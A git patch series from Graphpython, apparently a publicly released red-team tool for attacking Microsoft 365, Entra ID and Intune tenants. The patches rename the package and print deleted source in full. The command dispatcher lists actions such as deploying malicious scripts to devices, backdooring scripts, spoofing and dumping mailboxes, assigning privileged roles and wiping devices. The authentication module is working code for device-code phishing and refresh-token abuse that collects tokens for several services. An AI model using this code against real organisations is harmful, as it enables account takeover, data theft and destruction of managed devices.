print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token ############ # Locators # diff --git a/graphpython/commands/outsider.py b/graphpython/commands/outsider.py index 4597f57..eb228c0 100644 --- a/graphpython/commands/outsider.py +++ b/graphpython/commands/outsider.py @@ -2,8 +2,8 @@ from tqdm import tqdm import dns.resolver import os -from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from graphpython.utils.helpers import get_tenant_domains +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import get_tenant_domains ############ # Outsider # diff --git a/setup.py b/setup.py index c55b152..fa0bef5 100644 --- a/setup.py +++ b/setup.py @@ -10,7 +10,7 @@ requirements = [x.strip() for x in f.readlines()] setup( - name="graphpython", + name="Graphpython", version="1.0", packages=find_packages(), author="mlcsec", @@ -32,11 +32,11 @@ python_requires='>=3.6', entry_points={ "console_scripts": [ - "graphpython=graphpython.__main__:main", + "Graphpython=Graphpython.__main__:main", ], }, include_package_data=True, package_data={ - 'graphpython': ['commands/graphpermissions.txt'], + 'Graphpython': ['commands/graphpermissions.txt'], }, ) \ No newline at end of file From 2922d34f52bf0be14355853666b45ea925e56cd9 Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:19:43 +0100 Subject: [PATCH 06/37] Update --- {graphpython => Graphpython}/__main__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename {graphpython => Graphpython}/__main__.py (99%) diff --git a/graphpython/__main__.py b/Graphpython/__main__.py similarity index 99% rename from graphpython/__main__.py rename to Graphpython/__main__.py index aa9706f..f7ba1e7 100644 --- a/graphpython/__main__.py +++ b/Graphpython/__main__.py @@ -221,4 +221,4 @@ def main(): sys.exit(1) if __name__ == "__main__": - main() \ No newline at end of file + main() From 5d4c2a55fd99b2869dfcc67cf1389e8aa109d888 Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:19:56 +0100 Subject: [PATCH 07/37] Update --- graphpython.py => Graphpython.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename graphpython.py => Graphpython.py (89%) diff --git a/graphpython.py b/Graphpython.py similarity index 89% rename from graphpython.py rename to Graphpython.py index 53228e9..81913b7 100644 --- a/graphpython.py +++ b/Graphpython.py @@ -3,4 +3,4 @@ from Graphpython.__main__ import main if __name__ == '__main__': - main() \ No newline at end of file + main() From 4faba9a713bb273651a9caa63b7b608acf49efa7 Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:21:06 +0100 Subject: [PATCH 08/37] Delete Graphpython/__main__.py --- Graphpython/__main__.py | 224 ---------------------------------------- 1 file changed, 224 deletions(-) delete mode 100644 Graphpython/__main__.py diff --git a/Graphpython/__main__.py b/Graphpython/__main__.py deleted file mode 100644 index f7ba1e7..0000000 --- a/Graphpython/__main__.py +++ /dev/null @@ -1,224 +0,0 @@ -#!/usr/bin/env python3 - -import sys -import argparse -import textwrap -from Graphpython.commands import outsider, auth, enum, exploit, intune_enum, intune_exploit, cleanup, locators -from Graphpython.utils.helpers import list_commands, print_red - -def parseArgs(): - - version = "1.0" - print(f"\n\033[3mGraphpython v{version} - @mlcsec\033[0m\n") - parser = argparse.ArgumentParser( - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=textwrap.dedent('''\ - examples: - graphpython --command invoke-reconasoutsider --domain company.com - graphpython --command invoke-userenumerationasoutsider --username - graphpython --command get-graphtokens - graphpython --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token - graphpython --command get-users --token eyJ0... -- select displayname,id [--id ] - graphpython --command list-recentonedrivefiles --token token - graphpython --command invoke-search --search "credentials" --entity driveItem --token token - graphpython --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token - graphpython --command assign-privilegedrole --token token - graphpython --command spoof-owaemailmessage [--id ] --token token --email email-body.txt - graphpython --command get-manageddevices --token intune-token - graphpython --command deploy-maliciousscript --script malicious.ps1 --token token - graphpython --command backdoor-script --id --script backdoored-script.ps1 --token token - graphpython --command add-exclusiongrouptopolicy --id --token token - graphpython --command reboot-device --id --token eyj0... - ''') - ) - parser.add_argument("--command", help="Command to execute") - parser.add_argument("--list-commands", action="store_true", help="List available commands") - parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse") - parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie") - parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE) - add 'cp1' as client claim to get an access token valid for 24 hours") - parser.add_argument("--cert", help="X509Certificate path (.pfx)") - parser.add_argument("--domain", help="Target domain") - parser.add_argument("--tenant", help="Target tenant ID") - parser.add_argument("--username", help="Username or file containing usernames (invoke-userenumerationasoutsider)") - parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)") - parser.add_argument("--id", help="ID of target object") - parser.add_argument("--select", help="Fields to select from output") - parser.add_argument("--query", help="Raw API query URL (GET only)") - parser.add_argument("--search", help="Search string") - parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)") - parser.add_argument("--device", choices=['Mac', 'Windows', 'AndroidMobile', 'iPhone'], help="Device type for User-Agent forging") - parser.add_argument("--browser", choices=['Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari'], help="Browser type for User-Agent forging") - parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)") - parser.add_argument("--mail-folder", choices=['Allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)") - parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)") - parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript or backdoor-script)") - parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)") - - args = parser.parse_args() - return args, parser - -def main(): - - args, parser = parseArgs() - - available_commands = [ - "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken", - "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", - "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken", - "new-signedjwt", "get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", "get-user", "get-userproperties", - "get-userprivileges", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-userapproleassignments", "get-serviceprincipalapproleassignments", - "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", - "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", - "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", - "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot", - "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", - "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", - "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups", - "locate-objectid", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application", - "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", - "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", - "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies", "update-deviceconfig", - "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations","update-userproperties", "dump-windowsapps", "dump-iosapps", "dump-androidapps", - "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent", "find-privilegedapplications", "dump-macosapps", "deploy-maliciousweblink", - "get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", - "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "get-appserviceprincipal", - "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "backdoor-script", - "add-applicationpermission", "new-signedjwt", "add-applicationcertificate", "get-application", "locate-permissionid", "get-serviceprincipal", "grant-appadminconsent" - ] - - if len(sys.argv) == 1: - parser.print_help() - sys.exit() - - if args.list_commands: - list_commands() - return - - if args.command and args.command.lower() in [ - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", - "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", - "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", - "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", - "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user", - "get-userproperties", "get-userprivileges", "get-usertransitivegroupmembership", "get-group", - "get-groupmember", "get-userapproleassignments", "get-conditionalaccesspolicy", "get-personalcontacts", - "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages", - "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants", - "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser", - "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles", - "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", - "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections", - "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", "deploy-maliciousweblink", - "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls", - "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "display-firewallconfigpolicyrules", - "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "locate-objectid", "update-userpassword", "add-applicationpassword", - "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser", "update-deviceconfig", - "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", "dump-androidapps", - "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", - "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary", "dump-macosapps", - "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", "dump-iosapps", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", "grant-appadminconsent", "dump-windowsapps", - "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "update-userproperties", "find-privilegedapplications", - "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules","get-appserviceprincipal", - "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules", "backdoor-script", - "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", - "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission", "new-signedjwt", - "add-applicationcertificate", "get-application", "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: - if not args.token: - print_red(f"[-] Error: --token is required for command") - return - - try: - # Outsider commands - if args.command in ["invoke-reconasoutsider", "invoke-userenumerationasoutsider"]: - getattr(outsider, args.command.replace("-", "_"))(args) - - # Authentication commands - elif args.command in ["get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken", - "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", - "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken", - "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken", - "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", - "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken", - "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", - "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", - "invoke-appsecrettoaccesstoken", "new-signedjwt"]: - getattr(auth, args.command.replace("-", "_"))(args) - - # Enumeration commands - elif args.command in ["get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", - "get-user", "get-userproperties", "get-userprivileges", - "get-usertransitivegroupmembership", "get-group", "get-groupmember", - "get-userapproleassignments", "get-conditionalaccesspolicy", - "get-application", "get-personalcontacts", "get-crosstenantaccesspolicy", - "get-partnercrosstenantaccesspolicy", "get-userchatmessages", - "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", - "get-oauth2permissiongrants", "get-messages", "get-temporaryaccesspassword", - "get-password", "list-authmethods", "list-directoryroles", "list-notebooks", - "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", - "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", - "list-sharepointurls", "list-externalconnections", "list-applications", "list-onedriveurls", - "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", - "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", - "list-recentonedrivefiles", "list-sharedonedrivefiles", "get-appserviceprincipal", - "get-serviceprincipal", "get-serviceprincipalapproleassignments"]: - getattr(enum, args.command.replace("-", "_"))(args) - - # Exploitation commands - elif args.command in ["invoke-customquery","invoke-search", "find-privilegedroleusers", "find-privilegedapplications", - "find-updatablegroups","find-dynamicgroups", "find-securitygroups", - "update-userpassword", "update-userproperties", "add-usertap", "add-groupmember", - "create-application", "create-newuser", "invite-guestuser", - "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", - "spoof-owaemailmessage", "add-applicationpermission", "add-applicationcertificate", - "add-applicationpassword", "grant-appadminconsent"]: - getattr(exploit, args.command.replace("-", "_"))(args) - - # Intune enum commands - elif args.command in ["get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", - "get-devicecompliancesummary", "get-deviceconfigurations", - "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", - "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", - "get-devicegrouppolicydefinition", "get-roledefinitions", "get-roleassignments", - "get-devicecompliancepolicies"]: - getattr(intune_enum, args.command.replace("-", "_"))(args) - - # Intune exploit commands - elif args.command in ["dump-devicemanagementscripts","dump-windowsapps", "dump-iosapps", - "dump-androidapps", "dump-macosapps","get-scriptcontent", - "display-avpolicyrules", "display-asrpolicyrules", - "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules", - "display-firewallrulepolicyrules", "display-edrpolicyrules", - "display-lapsaccountprotectionpolicyrules", - "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy", - "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script", - "update-deviceconfig", "reboot-device", "retire-device", "lock-device", - "shutdown-device"]: - getattr(intune_exploit, args.command.replace("-", "_"))(args) - - # Cleanup commands - elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application", - "delete-device", "wipe-device"]: - getattr(cleanup, args.command.replace("-", "_"))(args) - - # Locator commands - elif args.command in ["locate-objectid", "locate-permissionid"]: - getattr(locators, args.command.replace("-", "_"))(args) - - # ... - elif args.command and args.command.lower() not in available_commands: - print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands") - - except KeyboardInterrupt: - print_red("\n[-] Operation cancelled by user") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred while executing '{args.command}': {str(e)}") - sys.exit(1) - -if __name__ == "__main__": - main() From a353e73e19ef1718e3c1d62e2939b19017288452 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 11:24:06 +0100 Subject: [PATCH 09/37] Update --- Graphpython.py | 6 - graphpython/MANIFEST.in | 1 - graphpython/__init__.py | 1 - graphpython/commands/__init__.py | 1 - graphpython/commands/auth.py | 1200 -- graphpython/commands/cleanup.py | 152 - graphpython/commands/enum.py | 1108 -- graphpython/commands/exploit.py | 1339 -- graphpython/commands/graphpermissions.txt | 20665 -------------------- graphpython/commands/intune_enum.py | 380 - graphpython/commands/intune_exploit.py | 2047 -- graphpython/commands/locators.py | 180 - graphpython/commands/outsider.py | 255 - graphpython/utils/__init__.py | 1 - graphpython/utils/helpers.py | 606 - requirements.txt | 8 - setup.py | 42 - 17 files changed, 27992 deletions(-) delete mode 100644 Graphpython.py delete mode 100644 graphpython/MANIFEST.in delete mode 100644 graphpython/__init__.py delete mode 100644 graphpython/commands/__init__.py delete mode 100644 graphpython/commands/auth.py delete mode 100644 graphpython/commands/cleanup.py delete mode 100644 graphpython/commands/enum.py delete mode 100644 graphpython/commands/exploit.py delete mode 100644 graphpython/commands/graphpermissions.txt delete mode 100644 graphpython/commands/intune_enum.py delete mode 100644 graphpython/commands/intune_exploit.py delete mode 100644 graphpython/commands/locators.py delete mode 100644 graphpython/commands/outsider.py delete mode 100644 graphpython/utils/__init__.py delete mode 100644 graphpython/utils/helpers.py delete mode 100644 requirements.txt delete mode 100644 setup.py diff --git a/Graphpython.py b/Graphpython.py deleted file mode 100644 index 81913b7..0000000 --- a/Graphpython.py +++ /dev/null @@ -1,6 +0,0 @@ -#!/usr/bin/env python3 - -from Graphpython.__main__ import main - -if __name__ == '__main__': - main() diff --git a/graphpython/MANIFEST.in b/graphpython/MANIFEST.in deleted file mode 100644 index 3923482..0000000 --- a/graphpython/MANIFEST.in +++ /dev/null @@ -1 +0,0 @@ -include graphpython/commands/graphpermissions.txt \ No newline at end of file diff --git a/graphpython/__init__.py b/graphpython/__init__.py deleted file mode 100644 index 1321f68..0000000 --- a/graphpython/__init__.py +++ /dev/null @@ -1 +0,0 @@ -# chama \ No newline at end of file diff --git a/graphpython/commands/__init__.py b/graphpython/commands/__init__.py deleted file mode 100644 index 1321f68..0000000 --- a/graphpython/commands/__init__.py +++ /dev/null @@ -1 +0,0 @@ -# chama \ No newline at end of file diff --git a/graphpython/commands/auth.py b/graphpython/commands/auth.py deleted file mode 100644 index 3cef678..0000000 --- a/graphpython/commands/auth.py +++ /dev/null @@ -1,1200 +0,0 @@ -import requests -import json -import jwt -import hashlib -import time -import base64 -import uuid -import sys -from datetime import datetime, timedelta, timezone -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.serialization import pkcs12 -from cryptography.hazmat.backends import default_backend -from urllib.parse import urlencode, urlparse, parse_qs -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token - -################## -# Authentication # -################## - -# get-graphtokens -def get_graphtokens(args): - print_yellow("[*] Get-GraphTokens") - print("=" * 80) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - resource = "https://graph.microsoft.com" - user_agent = get_user_agent(args) - - body = { - "client_id": client_id, - "resource": resource - } - - headers = { - "User-Agent": user_agent - } - - device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers) - device_code_response_content = device_code_response.content.decode() - device_code = None - message = None - - try: - device_code_json_response = json.loads(device_code_response_content) - device_code = device_code_json_response["device_code"] - message = device_code_json_response["message"] - - except Exception as ex: - print_red(f"[-] Failed to parse device code response: {ex}") - print("=" * 80) - exit() - - print(f"{message}\n") - time.sleep(3) - - start_time = datetime.now() - polling_duration = timedelta(minutes=15) - last_authorization_pending_time = datetime.min - - while datetime.now() - start_time < polling_duration: - token_body = { - "client_id": client_id, - "grant_type": "urn:ietf:params:oauth:grant-type:device_code", - "code": device_code - } - - token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body) - token_response_content = token_response.content.decode() - - if token_response.status_code == 400: - if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1): - print("authorization_pending...") - last_authorization_pending_time = datetime.now() - time.sleep(3) - elif not token_response.ok or "authorization_pending" in token_response_content: - # continue polling - time.sleep(3) - else: - token_json = json.loads(token_response_content) - print_green("\n[+] Token Obtained!\n") - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - file_path = "graph_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - exit() - - print_red("[-] Polling expired. Token not obtained.") - print("=" * 80) - -# get-tenantid -def get_tenantid(args): - if not args.domain: - print_red("[-] Error: --domain argument is required for Get-TenantID command") - return - - print_yellow("[*] Get-TenantID") - print("=" * 80) - user_agent = get_user_agent(args) - headers = { - "User-Agent": user_agent - } - - try: - response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration", headers=headers) - response.raise_for_status() - response_content = response.content.decode() - - open_id_config = json.loads(response_content) - tenant_id = open_id_config["authorization_endpoint"].split('/')[3] - - print(tenant_id) - - except requests.exceptions.RequestException as ex: - print_red(f"[-] Error retrieving OpenID configuration: {ex}") - print("=" * 80) - - -# get-tokenscope -def get_tokenscope(args): - print_yellow("[*] Get-TokenScope") - print("=" * 80) - - try: - json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) - scope = json_token.get("scp") - if scope: - scope_array = scope.split(' ') - for s in scope_array: - print(s) - else: - print_red("[-] No scopes found in the access token") - - except jwt.DecodeError: - print_red("[-] Invalid access token format") - print("=" * 80) - -# decode-accesstoken -def decode_accesstoken(args): - print_yellow("[*] Decode-AccessToken") - print("=" * 80) - - try: - json_token = jwt.decode(get_access_token(args.token), options={"verify_signature": False}) - for key, value in json_token.items(): - print(f"{key}: {value}") - - except jwt.DecodeError: - print_red("[-] Invalid access token format") - - print("=" * 80) - -# invoke-refreshtomsgraphtoken -def invoke_refreshtomsgraphtoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command") - return - - print_yellow("[*] Invoke-RefreshToMSGraphToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = get_access_token(args.token) - resource = "https://graph.microsoft.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}" - - headers = { - "User-Agent": user_agent - } - - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) - if response.status_code == 200: - print_green("[+] Token Obtained!\n") - token_response = response.json() - for key, value in token_response.items(): - print(f"[*] {key}: {value}") - file_path = "new_graph_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - else: - print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtoazuremanagementtoken -def invoke_refreshtoazuremanagementtoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") - return - - print_yellow("[*] Invoke-RefreshToAzureManagementToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = get_access_token(args.token) - resource = "https://management.azure.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}" - headers = { - "User-Agent": user_agent - } - - body = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": "openid" - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - body["claims"] = claims - - response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers) - if response.status_code == 200: - print_green("[+] Token Obtained!\n") - token_response = response.json() - for key, value in token_response.items(): - print(f"[*] {key}: {value}") - - file_path = "az_tokens.txt" - with open(file_path, "a") as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_response.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - else: - print_red(f"[-] Failed to get Azure Management token: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtovaulttoken -def invoke_refreshtovaulttoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command") - return - - print_yellow("[*] Invoke-RefreshToVaultToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c" - refresh_token = get_access_token(args.token) - scope = "https://vault.azure.net/.default" - auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token" - - headers = { - "User-Agent": user_agent - } - - data = { - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "vault_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Azure Vault token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtomsteamstoken -def invoke_refreshtomsteamstoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command") - return - - print_yellow("[*] Invoke-RefreshToMSTeamsToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" - refresh_token = get_access_token(args.token) - resource = "https://api.spaces.skype.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - headers = { - "User-Agent": user_agent - } - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - file_path = "teams_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - print_green(f"\n[+] Token information written to '{file_path}'.") - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get MS Teams token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtoofficeappstoken -def invoke_refreshtoofficeappstoken(args): - if not args.tenant: - print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command") - return - - print_yellow("[*] Invoke-RefreshToOfficeAppsToken") - print("=" * 80) - user_agent = get_user_agent(args) - client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" - refresh_token = get_access_token(args.token) - resource = "https://officeapps.live.com/" - auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" - scope = "openid" - - headers = { - "User-Agent": user_agent - } - - data = { - "resource": resource, - "client_id": client_id, - "grant_type": "refresh_token", - "refresh_token": refresh_token, - "scope": scope - } - - if args.use_cae: - claims = json.dumps({ - "access_token": { - "xms_cc": { - "values": ["cp1"] - } - } - }, separators=(',', ':')) - data["claims"] = claims - - try: - response = requests.post(auth_url, data=data, headers=headers) - response.raise_for_status() - print_green("[+] Token Obtained!\n") - token_json = response.json() - for key, value in token_json.items(): - print(f"[*] {key}: {value}") - - file_path = "officeapps_tokens.txt" - with open(file_path, 'a') as writer: - writer.write(f"[+] Token Obtained! ({datetime.now()})\n") - for key, value in token_json.items(): - writer.write(f"[*] {key}: {value}\n") - writer.write("\n") - - print_green(f"\n[+] Token information written to '{file_path}'.") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to get Office Apps token: {str(e)}") - print_red(response.text) - print("=" * 80) - -# invoke-refreshtoofficemanagementtoken -def 